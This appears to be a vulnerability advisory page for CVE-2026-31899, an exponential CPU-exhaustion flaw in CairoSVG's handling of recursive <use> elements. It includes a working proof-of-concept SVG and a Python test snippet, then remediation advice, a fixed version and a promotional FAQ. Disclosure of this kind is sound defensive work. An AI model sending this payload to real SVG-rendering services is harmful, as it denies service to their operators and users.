CVE-2026-31899

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High, CVSS 3.1: 7.5
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion, process did not complete in 5s")

References

• CWE-400

Credit

Kai Aizen (SnailSploit), Adversarial AI & Security Research

• 1,411-byte SVG payload pins CPU at 100% indefinitely
• Memory stays flat at ~43MB, no OOM kill, process never terminates
• Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
• Amplification factor: O(10^N) rendering calls from O(N) input

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-31899 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

1. What is CVE-2026-31899? CVE-2026-31899 is a high-severity uncontrolled resource consumption vulnerability in CairoSVG (pip), affecting versions <= 2.8.2. It is fixed in 2.9.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-31899? CVE-2026-31899 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of CairoSVG are affected by CVE-2026-31899? CairoSVG (pip) versions <= 2.8.2 is affected.
4. Is there a fix for CVE-2026-31899? Yes. CVE-2026-31899 is fixed in 2.9.0. Upgrade to this version or later.
5. Is CVE-2026-31899 exploitable, and should I be worried? Whether CVE-2026-31899 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-31899 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-31899? Upgrade CairoSVG to 2.9.0 or later.